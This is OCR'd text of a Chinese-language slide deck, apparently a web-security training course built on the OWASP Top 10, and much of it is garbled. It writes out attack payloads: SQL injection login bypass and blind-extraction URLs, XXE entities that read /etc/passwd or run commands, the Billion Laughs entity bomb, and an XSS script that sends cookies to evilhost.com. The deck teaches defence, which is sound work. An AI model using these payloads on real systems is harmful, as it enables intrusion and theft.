eBay Deals Staff Picks

Raspberry Ketone
Lean Advanced We...

Top Trending on eBay Bionaire Table

Fan 9.99
Top Selling Tablets $39.99 §53—99
$9999 81% off list price

Hot Computers and More




CVE

€ F T
T~ release note
VBEHFR 1L
— ). Acunetix ~ Metasploit ~ ....
vVEEa
— : Black Duck ....

> K 2T
ViEE R BRATIR
V¥ RARLAR B B AT
Exploit DB

3]

VA

ca

ploit-db.com

ERPLOIT =
DATABASE

Date~

1

v Title
v
v
@

v A

Platform Author

CVE Details

The ultimate security vulnerability datasource

LogIn Register
Home
Browse :
Vengors
Products
Vulnerabilities By Date
Vulnerabilities By Type
Reports :
CVSS Scor or
CVSS Sc istribution
Search :
ndor Searc
Product Search
Version Search
Vulnerability Search
By Microsoft References
Top 50:
Yendors

Jguery : Security Vulnerabilities

CVSS Scores Greater Than:0 1 2 3 4 5 6 7 8
Sort Results By : CVE N

Copy Results Download Results
= CVE ID

1CVE-2011-4969 79 XSS

9

Descending CVE Number Ascending CVSS Score Descending Number Of Exploits De

CWEID #of Exploits  Vulnerability Type(s) Publish Date Update Date  Score

2013-03-08 2016-08-22 | 4.3

Cross-site scripting (XSS) vulnerability in jQuery before 1.6.3, when using location.hash to select elements,|

2 CVE-2010-5312 79 xss
Cross-site scripting (XSS) vulnerability in jquery.ul.

3 CVE-2

79

The jQuery fra
retrieves the data through

RL in the SRC

Total number of vulnerabilities : 3 Page : 1 (This

k exchanges data using JavaScript Object Notation (JSON) without

2014-11-24  2016-10-25 | 4.3
dialog.js in the Dialog widget in jQuery Ul before 1.10.0|

2007-04-30  2008-11-13 5.0

ssociated prot
te of a SCRIPT element and captures the data using oth

Page)
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- bf?;&ﬁ:;«f;eAp Bt

#r » A % (Input Validation)

% 4 #6485 (Encoding)
%445 8 (Hash)

- @%j""’\: "% - SSL %#E‘é % #4} #v 2 (Encryption)
¥ #tiE £ (Masking)

E — % A (Single Sign-On)(SSO)
Digital Token

Access Control

Referential Integrity

Resource Locking

Code Obfuscation

/’/ Z }aﬁ Code Signing
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> + OWASP Top 10(2017)

Al: Injection
A4: XML External Entities (XXE)
A7: Cross-Site Scripting (XSS)

A8: Insecure Deserialization
A9: Using Components with Known Vulnerabilities

O———————"—)

2/ BleF
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SQL Injection (2 :1998 ~ % :?)

22 R
/éﬁ%éwﬁ¢mpm@»a R T LT
- BSQL A2/ BB RLAN T BRFTHAER

f7 o
FIREREMASEERAS SQL B
strSQL="{SELECT * FROM thlUser WHERE UserName=1" & _
> f}lj -ﬁf’ [Request("UserName")|& 'l AND Password=1' &[Request("Pass")|
&Y'

"BIBE 4 SQL Server #1T + SE R REIANDS
Set rec=.Execute(strSQL)

Select
*

From
> 1 H: tblUser
Where
UserName=‘abcde’
and
Password=" or 1=1--’ 60
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SQL Injection (cont.)

» Blind SQL Injection ki 32 3 p#

True
Recent Transactions
After | | Before  |p1/01/2005and '1'="1| [ Submit ]
TransactionID Accountld Description Amount
1 1001160140 Paycheck 1200
1

False fr— N

Recent Transactions l ‘

After | | Before  |01/01/2005and '1'=2| [ Submit ]
TransactionID Accountld Descripticn Amount
1
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SQL Injection (cont.)

> % B #%3iF Blind SQL Injection Jip] T 4L B 3 &

http:IIHNxxxxxxxxxfpruductLiSt.php?id=ﬂ and { select HSEII(5uh5tring{@ﬁuer510n,1,1}) J »188 —-» False ——> 1 ™ 1088
http:ffxxxxxxxxxxxfprnductLiSt.php?id=ﬂ and { select HSEII(Suh5tring(@Euer510n,1,1)) } 58 —--» True --> 58 ™ 188
http://8XXXXXXNEXE/productList.php?id=8 and { select ASCII{substring(B@version,1,1)) )} >78 --> False --> 50 ™~ 78
http:IIHNxxxxxxxxxfpruductLiSt.php?id=ﬂ and { select HSEII(5uh5tring{@EuerEiun,1,1)) ) »>68 --» False --> 58 ™ 6@
http:ffxxxxxxxxxxxfprnductLiSt.php?id=ﬂ and { select HSEII(Suh5tring(@Euer510n,1,1)) ) »5% --» False --> 5@ ™ G5§
http://AXEXXXENEXE/productList.php?id=8 and { select ASCII{substring(@@version,1,1)) )} =53 --> True --> ASCII = 53 --> 'G°
http://XXSXXXENEXK/productList.php?id=8 and { select ASCII{substring(@@version,2,1)) ) =46 --> 5.
http://XXXXXKNXXXX/productList.php?id=8 and ( select ASCII(substring({@@version,3,1)) ) =48 --> 5.0
http://XXXXXXNXXXX/productList.php?id=8 and ( select ASCII(substring({@@version,k4,1)) ) =46 --> 5.0.
http://XXXXXXXNEXX/productList.php?id=8 and { select ASCII{substring{B@version,5,1)) )} =51 --> 5.8.3
http:ffxxxxxxxxxxxfprnductLiSt.php?id=ﬂ and { select HSEII(5uh5tring(@@uer510n,6,1)) } =5% - L.0.37
http://8XXXXXSNKXS/productList.php?id=8 and { select ASCII{substring{B@version,7,1)) ) =4% --> 5.0.37-
http://XXXXXXXNEXX/productList.php?id=8 and { select ASCII{substring{B@version,8,1)) ) =188 --> 5.8.37-1
http:ffxxxxxxxxxxxfprnductLiSt.php?id=ﬂ and { select HSEII(5uh5tring(@@uer510n,9,1)) y =111 -3 5.8.37-1o
http://8XXXXXSNXXS/productList.php?id=8 and { select ASCII{substring{@@version,18,1)) ) =183 --> 5.08.37-1log ====> HySQL DB
http://XXXXXXXXKXX/productList.php?id=8 and { select ASCII{substring(B@version,11,1)) ) >8 --> False —-> Stop !
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SQL Injection (cont.)

> [Pz
‘/ﬁ] hN ﬁ(‘n %g,%
- E(£ R+&ZFA)>R HE>FRYE
BB FORLE 03 B4R
= Prepared Statement

string connString = WebConfigurationManager.ConnectionStrings['myConn"].ConnectionString;
using (SglConnection conn = new SglConnection(connString))

conn.Open();

SglCommand cmd = new SglCommand("SELECT Count(*) FROM Products WHERE
ProdID=@pid", conn);

SqlParameter prm = new SqlParameter("@pid", SqIDbType.VarChar, 50);

prm.Value = Request.QueryString["pid"];

cmd.Parameters.Add(prm);

int recCount = (int)cmd.ExecuteScalar();

H
vViERE R
— B LR
> & R * i sa fz-'ﬁ: R B O TORLE AT B
SR T R
— BB H WM
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XML External Entities (XXE)

OWASP Top 10: A4
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XXE (cont.)

1

» Attack Samplel: 3§ B~ 48 57 731

:/usr/local/nginx/html# cat testXML. php
<?php
$xml=<<<EQF
<?xml version="1.0"?>
<! DOCTYPE ANY [
<!ENTITY xxe SYSTEM " file:///etc/passwd">

$data = simplexml_load_string( $xml)
print_r( $data);

?> security.tencent.com

€@ | @1921681.102

SimpleXMLElement Object ( [xxe] => SimpleXMLElement Object ( |
/bin/sync games:x:5:60:games:/usr/games:/bin/sh man:x:6:12:man:/
/uucp:/bin/sh proxv:x:13:13:proxv:/bin:/bin/sh www-data:x:33:33:wv

gnat: Source of: http://192.168.1.102 /testXML.php - Iceweasel
mess
/bin/t File Edit View Help
beef' SimpleXMLElement Object
/bin/g (
Jrun/ [xxe] => SimpleXMLElement Object
] (
sslh: [xxe] => root:x:0:0:root:/root:/bin/bash
/run/ daemon:x:1:1:daemon: /usr/sbin: /bin/sh

bin:x:2:2:bin: /bin: /bin/sh

sys:x:3:3:sys: /dev:/bin/sh

sync:x:4:65534:sync: /bin: /bin/sync

games:x:5:60:games: /usr/games: /bin/sh

man:x:6:12:man: /var/cache/man: /bin/sh security.tencent.com




XXE (cont.)

:/usr/local/nginx/html# cat testXML4. php

<?php
$xml=<<<EQF
<?xml version="1.0"?>
<! DOCTYPE ANY [
<!ENTITY xxe SYSTE!l
] >
<x>8xxe; </ x>

"expect://id">

:/usr/local/nginx/html# cat testXML3. php
<?php
$xml=<<<EQF
<?xml version="1.0"?>
<) DOCTYPE _ANY [

<IENTITY xxe SYSTEM "http://192.168. 1. 122: 8080/ st ruts2- blank/
example/HelloWorld. action? redirect: $%/b%3a%3d¥28newdR0java. Lang. Proc
essBuilderd28newd0java. Lang. String¥b%d¥%/b’' whoami', ' ' % d¥R29929. star
t9R89%R29, R3b¥BdIR3a. getInputSt ream¥R8IR9, ¥R3c¥B8dnewdR0java. io. InputSt
reamReaderd89%23b%29, ¥23d¥8dnewd0j ava. io. BufferedReaderi28%23c9%29, %2
3e%3dnewd20chardbb20%d, %23d. read¥R8%23e%29, %23matti3di¥23context. get%
28' com. opensymphony. xwork2. dispatcher. HttpServletResponse' %29, %23matt
. getWriterd289%29. printlnd8%23e%29, W3matt. getWriterd289%29. flushi28%
9, %23matt. getWriterd28929. closei89%29%/d" >
1>

xe: </ x>

= simplexml_load_string( $xml);
print_r( $data);
7> security.tencent.com




XXE (cont.)

> Attack Sample3: Fe & PR73

“Billion laughs attack”

<?xml version="1.8"?>

<IDOCTYPE lol:z [

<IENTITY lol "lol"»

<ELEMENT lolz (#PCDATA))

<lENTITY loll "8lo0l;&l0l;&l0l;&l0l;&10]1;&10]1;&10]1;&101;8101;&101;">

<|ENTITY lol2 "&lol1;&lol1;&lo0l1;810l11;&10l1;&10]11;8&1011;&10l11;&10]11;&1011;">

<!ENTITY lol3 "8&lol2;&l0l2;&1012;81012;81012;&1012;8&1012;81012;81012;&1012;">
<IENTITY lol4 "&lol3;&lol3;&l013;81013;&1013;&1013;&1013;&1013;&1013;&1013;">
<lENTITY lol5 "8lol4;&10l4;&1014;81014;&1014;&1014;81014;81014;8&1014;&1014;">
<|ENTITY lolée "&lol5;&10l5;&1015;81015;&1015;&1015;&1015;&1015;&10]15;&1015;">
<|ENTITY lol7 "&lol6;&lol6;&1016;810l16;&1016;&1016;&1016;81016;81016;&1016;">
<|ENTITY lols "&lol7;&lol7;&l0l17;&1017;&1017;&1017;8&1017;&1017;&1017;&1017;">
<lENTITY lol9o "8l0l8;&1018;&1018;81018;&1018;&1018;&1018;81018;8&1018;&1018;">
1>

<lolz>&lols;</lolz>
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XXE (cont.)

> |3 iE 3k Disable DTD
vV 3 RARNFT LParserad ik TR o0 5T

— https://www.owasp.org/index.php/ XML External Entity (XXE) P
revention Cheat Sheet

— .NET Sample:

XmlTextReader reader = new XmlTextReader(stream);
reader.DtdProcessing = DtdProcessing.Prohibit; // NEEDED because the default is Parsel!

Virk 22 2P 2BAIXRDID 2 S BPILT S IE
— External DOCTYPE
— External ENTITY

> H s
v i# % & ¥R XML Parser
v v ZHWH

— F’s\:“g“&‘F\?’:---
> ORI RFRER o



Cross-Site Scripting(XSS)

(£ :1996 ~ % :?) OWASP Top 10 A7

> b &
CREGGRRR RN E AR T -
> A2 R

——  —

e P E AR R

Gooole

i iézE*J?ﬁ | 288 - Google 122

g;
£
&l

FradlE EE Bl S i #iE Cmal F£ v

XSS G() ( ;gle XSS e
98 7 550 000 THER R 005 Y SRR
Google 3
| 28 Cross-site scripting - Wikipedia. the free encyclopedia - [ #E2EHE ]

v BHE Cross-site scripting (X35) is a type of computer security vulnerability typically found in weh
applications that enables malicious attackers to inject ...

e en.wikipedia.org/wiki/Cross-site_scripting - R - Hifs

g shes HEEE EEPHPERE Taiwan PHP User Group |

%FEEPX%EE XS5(Cross Site Scripting [ Brig e EE a4 CookieBTER ... Eéﬁiﬁlﬁ(@ﬁ;ﬁ (53] IS —EEe

HERTHEE SRS T P b e AR, - MERTMESEEREG T  EEMEMEER ..

e twpug.net/modules/smartsection/itern.php?itemid=34 - &4 - HiFS

Bk 24 H H ey,

Ea 2UU7¢7EJ-1E[ o ‘SH?EJ‘ﬂ:‘;}E&Xi ﬁﬁ’ﬁ% OpenBlue FEAiEFE22:50. =I OVF I EIEE A E

T ELExEMER ... http://anti-hacker blogspot.com/2007/07/xss_html .

anti-hacker hlogspot com : BEE - BEEE - SAag

Blog XDite net » #2548 HENSS H BEHTY

20065 11H21H ... FEBASS (Cross Site Scripting) » ﬁﬁﬁx%ﬁ@ﬁ?ﬁaﬁ%@ﬁimm@ﬁ
fif » BT LAIETEE AR R SR B RTERES - BT ESLREEER &% -

blog xdite net/?p=209 - B B - L MAE

> EERET1HE




XSS (cont.)

-
Sign In | Contact Us | Feedback | Search |{script}alert{lllljc:,-'si[ Go ] =

Search Results

Mo results were found for the query:
INSIDE ALTORO MUTUAL

Privacy and Security

The 2000 employees of Altoro Mutual are

dedicated to protecting your privacy and security.
L)

We pledge to provide you with the information

and resources that you need to help secure your

information and keep it confidentizl. This is our

promise,

BERE REE B0

T2 <td valiga="top™ colspan="3" class="bh":> P
73
T4
75 <div class="If1"™ style="width: 33%;">
785
77 <hl>5earch Results</hl>
T8
7o <p>No re=sulc=s were found for the query:<br /><br />

B0 <span ;ﬁ="_cuLE__cuLE_C:nEELE_H';:_Lb;Sea:ch"}tscript}alert¢1111]{fscript
81

B2 < fdivs

83
B4

</ span></p>
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XSS (cont.)

PEENRL - R G B RS
cookie o
v Stepl: #5 3| ¥ * ehURL
— http://lwww.wretch.cc/blog/blog.php?id=VIPBlog&search=<s

Microsoft Internet Explorerx
. hmhﬂ;ﬁu%ﬁ?%}%%%?ﬁﬂlll“%%l.l152230213.11522337&%0; e S
5 utmz=270 i .13 6.utmee erral) utmese=R s S atmee ?‘htm: =referral; = .“ﬁ
b4 PHPSESSID=2454ecc5{28900dab097d1 iﬁdcsm; __utme=270312759; _ utmb=270312759; COOKIE TM flaﬂ'G_COOKI
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XSS (cont.)

vVStep2: ZHER R
— http://lwww.wretch.cc/blog/blog.php?id=VIPBlog&search=<s

cript>location.replace(“http://www.evilhost.com/getcookie.as
p?k="“+document.cookie)</script>&search_title=1

v Step3: kg R &

— http://www.wretch.cc/blog/blog.php?id=VIPBlog&search=%
3C%73%63%72%69%70%74%3E%6C%6F%%63%61%74
%69%6F%6E%2E%72%65%70%6C%61%063%65%28%5
3%74%72%69%6E%67%2E%66% 72%6F%6D%43%68%
61%72%43%6F%664%665%28%31%30%34%2C%31%31
%36...(*¢ )&search_title=1

v Stepd: AL 1 fBHTw il 3513 BhiE
- BlFRE KD TADblogF AL/ _\ > g F)i242F -

d -




XSS (cont.)

v Step5: % cookiets & b & i» 13 B 2t

- S [=] B
[PHPSESSID=792¢48c9615346d21 b6b708 1 ee2cbdd; __utme=270312759; a_usd=sheiiil; a =] ; COOKIETEST=TESTING_COOKIE; J
wretchhala_data=a%3A2%3A %7Bs%3A11 %34 %22a0tologinid %22 %3Bs%H3A0%34 %22% %3BsB3A6%3A X2 2userid K22 BB HIA6XIAD
22207405522 %3B%7D; wretchhala_sid=e7ece20a1662da8dc024 baedce95912¢; wretchhals_t=a®B3A6%3AXTBIHIATEL L0B3BI%3A1152238523%
3Bi%34 1440%3Bi%3A [ 152238300%3Bi%3 A 76080 %3Bi%3A 1152238328 %3Bi%3A 75471 A3Bi%3A1152238366 3 BiB3ATE065%3Bi% i
341152238512%3B1%3A75828%3Bi%34 1152238534 %3B%7D
[http:2hwrvrw wretch.cc

, R 2% R

BEMAA | BA18H | SAWEIL | S408S | BA/) LAY | BAET LWshid

A | 1
EE [ [Ferns RARIMTFEL, WLRINES)
WIZTE [ jFering BRETMTAA, IMRIETHE)
HFHE S =
#53) [zt =]
B Fif§ ¥
.a-:-‘ 1988 ¥
£8 als =
a[0=
EFEF mgahoo com.tw [CXe & v )
Pier AT | rempre 1 ' (|
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XSS (cont.)

A
Ve
&
I

fﬁﬁﬁiax%miﬁ x Pl 430
- R T R E % > HTML-Encoding

C# Example: PHP:
HTML Entity StringBuilder sb = new StringBuilder( ENTRRN < through
&t HitpUtility. HtmIEncode(input)). htmlentities() or htmispecialchars()
&gt sh.Replace("&ltb&gt", "<b>"),
&amp:; sb.Replace("&lt/b&gt;", "<b=");
&quot; sh.Replace("&lti&gt " "<i=");
&sbquo; sh.Replace("&lt/idgt:" "</=");
&nbsp; Response White(sb. ToString());
&#35;
&H#39; _
8240 ASP : Server.HTMLEncode(string)
Si#d1; Java :
&#43,; ; : : -
8458; %mpnrt static org.apache.commons.lang.StringEscapeltils.escapeHtml;
&#59; i ; : .
3467 String source = "The less than sign (<) and ampersand (&) must be escaped before using them

String escaped = escapeHtml(source);
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XSS (cont.)

iR L3RR EEHEE
i HER AT  TERSA8EFER - HEF A BRI —REER IFEEBERE A R

BABTIH | i
£ H (1980 w1 #lg[1 ~]|g

&' i | (FEREE)

<zoriptzalert(l 11 1) </cripte~

RE |

BEESLAEANE 50 ol 20 DR R b e o

A S e b T o P A SN : E
el }#{.3 :-'J-\.s T "‘-'_}"'i:'. :F:_E:,;:,“ _Fiﬁ:‘:__l'l:r-jh-'-;: T g5 - 1 ale 5 i nid 2P anMo B = i ]

TS TG Lo LI I L= = I LI Il
114 <input name="step” type="hidden"™ wvalue="login":>
115 <input name="Positionlo" type="hidden"™ class="butjton" wvalue="M4">
118 <input name="Bl1" type="submit" class="button" valhe="FEE">

1317 </ td>
118 </ tr>
119 </table>

1240 </ form> J_
121 <fnont eoloar="red" class="Ffont-= ~=”|> lt:scriptaegt;alert (MeWNl) &1t /' scriptagt; Ivf‘ font>
122 <p align="center"»<font 3::-_—”2" colox="iFFO00O0"-EFEEEE SR EE - FFiE
123 email ?f '\J'Jﬁ?ﬁ@ <&

href="mailto:hiis e IR e S et s Ak

124 @‘f\’ﬂ{;{ﬁ%nﬁ SIE} T e e A g el f e

13500 </center>

[#

[ |
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Insecure Deserialization

OWASP Top 10: A8

> ::c&t I::?*—"* BAAL R ﬁ’i;‘?—(deserlallze)‘}*#
mbyte streamp\ %V ﬁ] > p3TenE B iE it

7P i

> BT 4

> Azt \&ﬁﬂ‘? (hrAZ fg)
> PRG-I G s B

> ...

;‘%;’-‘;L'%éfvﬁ‘/’/\

https://www.owasp.org/index.php/Deserialization_of untrusted data

Description

Data which is untrusted cannot be trusted to be well formed._Malformed data or unexpected data could be used to
abuse application logic, deny service, or execute arbitrary code, when deserialized.

7



Insecure Deserialization (cont.)

» Sample: File = Ul Object

Example Language: Java

try {
File file = new File("object.obj");
ObjectInputStream in = new ObjectInputStream(new FileInputStream(file));
javax.swing.JButton button = (javax.swing.]Button) in.readObject();
in.close();

» Sample: Authentication Token

Example Language: Python

try {
class ExampleProtocol(protocol. Protocol):

def dataReceived(self, data):

# Code that would be here would parse the incoming data
# After receiving headers, call confirmAuth() to authenticate

def confirmAuth(self, headers):

try:

token = cPickle.loads(base64.bo4decode(headers['AuthToken']))

if not check_hmac(token['signature’], token['data'], getSecretKey()):
raise AuthFail

self.secure_data = token['data’]

except:

raise AuthFail




Insecure Deserialization (cont.)

» Attack Sample: Super Cookie for Access Control

a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

A% 8 (& 1)
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;8:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}

» JAVAE B¢ 2 % 20k B3IV R %%
v http://www.digicentre.com.tw/industry detail.php?id=37
v o d sz?—‘% | % Javak sH8 | chgl (8 > 3 Ereturnz aui}:t&hwﬁ TR TR
2 %‘rﬂﬁ B 7] i £ 2 B byteStreamp# & ® gk dlerror2. % u:lé—Paonad_?:ﬁtﬁ 7
%_—L(Izﬁ‘jfiiﬁw :Uﬁi;(\“:l N l?féulr;,\‘}i. #Z)—\,}y féulr \‘IF»LE’L\
o 3\ E:vi Pl 7V ke & = Gadget Chaln B 3 7 Runtime. getRuntlme() exec()
l/‘*!bf’!’ x &ﬂ}' B,k,{ﬁ;
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Insecure Deserialization (cont.

“EXPLOIT
DATABASE

WebApps ASPX Jarad Kopf

2019-06-13 - ¥ Sitecore 8.x - Deserialization Remote Code Execution

2019-06-05 : IBM Websphere Application Server - Network Deployment Untrusted Data Deserialization Remote Code Execution (Metasploit) Remate Windows Metasploit
2019-0508 : Oracle Weblogic Server - AsyncResponseSarvice' Deserialization Remote Code Execution (Metasplait) Remote Multiple Metasploit
2014-03-28 + Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit) Remote Multiple Metasploit
2018-10:25 - % Oracle Weblogic Server - Deserialization Remate Command Execution (Patch Bypass) Remote Multiple allyshka
20190205 : ¥ OpenMRS Platform < 2.24.0 - Insecure Object Deserialization WebApps Java Bishop Fox
2019-01-07 + % Ajera Timesheets 9.10.16 - Deserialization of Untrusted Data WebApps Windows Anthony Cole
20181204 : HP Intelligent Management - Java Deserialization Remote Code Execution (Metasploif) Remate Windows Metasploit
2018-08-13 : Oracle Weblogic Server - Deserialization Remote Code Execution (Metasploit) Remote Windows Metasploit
2018-0707 + % Qracle WebLogic 12.1.2.0 - RMI Reqistry UnicastRef Object Java Deserialization Remote Code Execution WebApps Multiple bobsecq
20180517 : Jenkins CLI - HTTP Java Deserialization (Metasploit) Remote Linux Metasploit
2018-0422 : Oracle Weblogic Server 10.3.6.0/121.3.0/12.21.2/12.2.1.3 - Deserialization Remote Command Execution Remote Multiple brianwrf
2016-07-20 4 % Websphere/JBoss/OpenNMS/Symantec Endpoint Protection Manager - Java Deserialization Remote Code Execution Remote Multiple Nikhil Sreekumar
2018-0207 .4 % Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution Remote Windows Faisal Tameesh
20180130 : X HPEIMC7.3- RMI Java Deserialization Remote Windows Chris Lyne
2018-01-29 + Oracle WebLogic - wis-wsat Component Deserialization Remote Code Execution (Metasploit) Remote Multiple Metasploit
2017-12-19 4 Jenkins - XStream Groovy classpath Deserialization (Metasploit) Remote Muttiple Metasploit
2017-09-21 * X ERSData System1.8.1 - Java Deserialization Remote Windows West Shepherd
2017-08-27 + % Qracle WebLogic Server 10.3.6.0 - Java Deserialization Remote Code Execution Remote Java SlidingWindow
2017-09-19 : X HPE<72-Java Deserialization Remote Java Raphael Kuhn
20170730 : Jenking < 1.650 - Java Deserialization Remote Java Janusz Piechdwka
2017-06-10 + VMware vSphere Data Protection 5.x/6.x - Java Deserialization Remote Multiple Kelly Correl
2017-0505 s ¥ CloudBees Jenkins 2.32.1 - Java Deserialization Dos Java SecuriTeam
2017-03-:27 : Github Enterprise - Default Session Secret and Deserialization (Metasploit) Remote Linux Metasploit
2017-03-15 + IBM WebSphere - RCE Java Deserialization (Metasploit) Remote Windows Metasploit
2016-11-28 & Red Hat JBoss EAP - Deserialization of Untrusted Data WebApps Java Mediaservice net Sr
20151215 + Jenkins CLI - RMI Java Deserialization (Metasploit) Remote Java Metasploit
20130129 : Ruby on Rails - JSON Processor YAML Deserialization Code Execution (Metasploit) Remote Multiple Metasploit
20130110 : Ruby on Rails - XML Processor YAML Deserialization Code Execution (Metasploit) Remote Multiple Metasploit
2010-09-27 + Java- RMICannectionlmpl Deserialization Privilege Escalation (Metasploit) Remote Multiple Metasploit
2010-09-20 : Sun Java - Calendar Deserialization (Metasploit) Remate Multiple Metasploit
2008-1203 : Sun Java Runtime and Development Kit 6 Update 10 - Calendar Deserialization (Metasploit) Remote Multiple sf
2009-05-20 + Apple Mac 0SX - Java applet Remote Deserialization Remote (2) Remote 0sX Landon Fuller
2007-03-25 & [+] PHP < 4.45/5.2.1-'_SESSION Deserialization Overwrite Local Linux Stefan Esser
2007-03-04 + a PHP < 4.45/5.2.1- WDDX Session Deserialization Information Leak Loca Multiple Stefan Esser
2007-03-04 - a PHP < 4.45/5.2.1- PHP_binary Session Deserialization Information Leak Local Multiple Stefan Esser

80



Insecure Deserialization (cont.)

> [FEiER
v [OWASP]: “The only safe architectural pattern is not to accept

serialized objects from untrusted sources or to use serialization
mediums that only permit primitive data types”.

> 3

v % B # % JSON » XML % ¥ * # 58
V 2 FERE (Bl4eSiFEE g 1 184)
VOIS **&rmﬂ—g
v rq‘%fﬁ»,fg_}\ 748
v 3174 R R SLog

- FRAGEsE

- R¥HRF

v &4 T de-serializationshi B EH B E 3 R K RRF
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Insecure Deserialization (cont.)

v Tools

Mitigation Tools/Libraries

« Java secure deserialization library
« SWAT (Serial Whitelist Application Trainer)
« NotSoSerial

Detection Tools

« Java deserialization cheat sheet aimed at pen testers

« A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

« Java De-serialization toolkits
« Java de-serialization tool
« .Net payload generator
« Burp Suite extension
« Java secure deserialization library
« Serianalyzer is a static bytecode analyzer for deserialization
« Payload generator
« Android Java Deserialization Vulnerability Tester
« Burp Suite Extension
o JavaSerialKiller
o Java Deserialization Scanner
o Burp-ysoserial
o SuperSerial

o

SuperSerial-Active
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WebShell g
ER PP AN

I_cumfpy_webshell.py‘?path:.f'l’ruject ‘T\r - I'r Foogle
J.Backdoor Hot Found ﬁ‘

|.;’Prnject M E R

WebshellHE | 1EET | FESEEE | 1iTHS | SocketRM

SRITRE (. /Project) THIHE:

WE REEUHE X #, -1

carf 2009-02-16 22:17:37 - R/W/X Del/Rename

fizh 2009-02-16 22:17:37 - R/W/X Del/Rename
ieprint 2009-02-16 22:17:37 - R/W/X Del/Rename

poc 2008-02-16 22:17:37 - R/W/X Del/Rename
webtrojan 2009-02-16 22:17:37 - R/W/X Del/Rename

WOIT 2009-02-16 22:17:37 - R/W/X Del/Rename
0x37Project.rar 2008-07-11 21:57:00 68.26FE R/W/X R/C/D/ Del/Rename
doc.html 2008-05-20 22:50:00 0.05KB R/W/X R/C/D/ Del/Rename
gWoIm.js 2008-05-16 14:01:00 1.87KB R/W/X R/C/D/ Del/Rename
kb.js 2008-06-03 15:12:00 0.01KE R/W/X R/C/D/ Del/Rename
(C)Xeye Hack Team

Web Server
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WebShell
ERrE Al

+ i et 0T

O

ey

YA ¢~ MIME-Type
i % Web Server
v LHE>Z 2§

FF AL AR 2 %00 451

s G4

T @

m % % i gReader
* https://.....show.aspx?id=112233

O

L v ’ 2 N
B BP 3P &l 7
o MISE B :
https://blog.miniasp.com/post/2010/08/04/11S7-How-
to-Turn-off-Execute-Permission
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Checkmarx
CodeSecure

FHIDERFREEL)

JF File Edit Search View Document Tools Macros Window Help SETE]
DELe HE SR $Ba- = (AAR R DEN Y| e 1> 2a
& sampleshd  © samplejava |
[Z]] 8 a X 2 x [BELJirport java.aut.inage.lndexColorHodel; =)
TR =] [Wfimort java aut inage cotoriiode1;
P inport java.aut.inage HenorylnageSource; =
5 sample files Al IS import j awt .event.x;
2] sample.ada
la] sample,asm 8)/%» The representation of a Chemical .xyz model */
sample.asp " Ticlass xvzchemHodel |
|w] sample,bas float vert[]
51 sample.bat Aton atonms[];
2 sample.cim int tuert(];
=] sample.cln int ZsortMap[];
& sample,cls int nuert, maxvert;
sample.cpp
] sample.cs static Hashtable atomTable = new Hashtable();
sample,css static Atom defaultAtom;
=] sample,dx| static {
] sample.e atonTable.put( new Atom(9, 9, 8));
) sample.edf  v| atomTable.put( new Atom(218, 218, 218));
ORI — atonTable put(“n”, new Aton(8, 9, 255));
tomTabl t("0", new Atom(255, 0, 0)); .
é Directory e e L’_‘
x [ExWHOBBYWsanple FilesWsanple.forn(3523,20): » It 15 done to avoid enormous problens with ta]
E:#HOBBYWsanple filesWsample.form(5476,37): * The use of the function distrib_ avoids the
E:wHOBBYcanple Fileswsanple.ForA(S591,6): »  avoid a temporary anomalous nUAGEr of povers
2 (50 occurence(s) have been found. —
g
Slu | >
Ready Tnde, ool | 515 _[REC [COL [0vA

HP Fortify SCA(Source Code Analyzer)
IBM Security AppScan Source

Klocwork
Parasoft

47
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>RB (€CF ALY A ERL)

vV KL RIEER
v ingi&
Staging 8t BEOZFF A4 s
> % S\ i Wéi**ﬁﬂ#ﬁ
";«"‘ﬂﬁ#f-ilfﬂ*i—-
v 2 AR

— Test Cases from RTM(Z Fif j=ie'L)

— B4 pl3E: 4 LoadRunner ~ Qaload ~ JMeter...
vV P11 E: BB

— %k 3u33 BL4E Ry 4o Nessus ~ Rapid?7...

— b33 BEIF B 4o Acunetix ~ AppScan ~ Weblnspect...
V RERB BBRFE

- BB LA A GFLIE S RIBAS)
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Rank ID Name Score
[1] Clwg_ Improper Restriction of Operations within the Bounds of a Memory Buffer 75.56
[21 C;VQE Improper Meutralization of Input During Web Page Generation {'Cross-site Scripting') 45.69
CWE- . - p—
[21 >0 Improper Input Validation r\‘ A I I_ — 43.61
[4] C;gg Information Exposure \./ V V I— U \J 32.12
[5] ngg_ Out-of-bounds Read 26.53
[e] C;“E_ Improper Neutralization of Special Elements used in an SQL Command {'SQL Injection’) 24.54
CWE-
[71 216 Use After Free 17.294
CWE
[el 100 Integer Overflow or Wraparound 17.25
CWE- .
[2] 352 Cross-Site Request Forgery (CSRF) 15.54
[10] C;“ZE_ Improper Limitation of @ Pathname to a Restricted Directory ('Path Traversal') 14.10
[11] C;“SE_ Improper Meutralization of Special Elements usaed in an OS Command {"0S Command Injection®) 11.47
[121| SXE= lout-of-bounds write 11.08
[1=2] C;;E_ Improper Authentication 10.78
[14] Cﬂg_ MULL Pointer Dereference 9. 74
[15] C;;E_ Incorrect Permission Assignment for Critical Resource 5.23
CWE - . .

[16] 234 Unrestricted Upload of File with Dangerous Type 5.50
CWE- A .

[17] 611 Improper Restriction of XML External Entity Reference 5.48
CWE- . . . P

[183] 9 Improper Control of Generation of Code ("Code Injection') 5.36
[12] C;;g Use of Hard-coded Credentials 5.12

CWE .
[20] 200 Uncontrolled Resource Consumption 5.04
[21] C;gg_ Missing Release of Resource after Effective Lifetime 5.04
[22] C‘r;g_ Untrusted Search Path 4.40
CWE PR .

[22] 02 Deserialization of Untrusted Data 4.30
CWE -

[24] S50 Improper Privilege Management 4.23
CWE- e . .

[25] Improper Certificate validation 4.05

I
Ln




@ ASVS 2014

Securing Web Application Technologies
[SWAT] Checklist

ERROR HANDLING AND LOGGING
DATA PROTECTION
CONFIGURATION AND OPERATIONS
AUTHENTICATION

SESSION MANAGEMENT

INPUT AND OUTPUT HANDLING
ACCESS CONTROL

(JANSApgSec < v v ororcouLu

APRLICATION & BOFTWARE :[CIIH.\‘ Get the right training to build secure applications.

Web Application Standard

Detailed Verification
Requirements

This section of the OWASP Application Security Verificatien Standard (A5V5) defines detalled verification
